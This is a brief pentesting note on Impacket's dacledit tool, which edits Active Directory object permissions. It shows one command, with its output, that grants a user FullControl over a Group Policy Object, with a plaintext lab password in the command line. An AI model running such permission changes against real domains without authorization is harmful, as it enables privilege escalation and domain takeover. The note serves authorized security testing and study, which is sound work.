Summery

An Impacket tool used to view and modify the DACL (Discretionary Access Control List) of Active Directory objects. In pentesting, it can be used to grant principals permissions such as GenericAll, GenericWrite, or other object-level rights. BloodyAD has similar capabilities.

Example of usage:

kali@kali (~): impacket-dacledit -action 'write' -rights 'FullControl' -principal 'charlotte' -target-dn 'CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=domain,DC=com' 'domain.com'/'charlotte':'Game2On4.!' 
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

/usr/share/doc/python3-impacket/examples/dacledit.py:390: DeprecationWarning: codecs.open() is deprecated. Use open() instead.
  with codecs.open(self.filename, 'w', 'utf-8') as outfile:
[*] DACL backed up to dacledit-20260909-031421.bak
[*] DACL modified successfully!

For the -target you can specify the target’s regular display name or sAMAccountName but for things like GPOs, you need to use target-dn or -target-id - more in Abusing GPOs.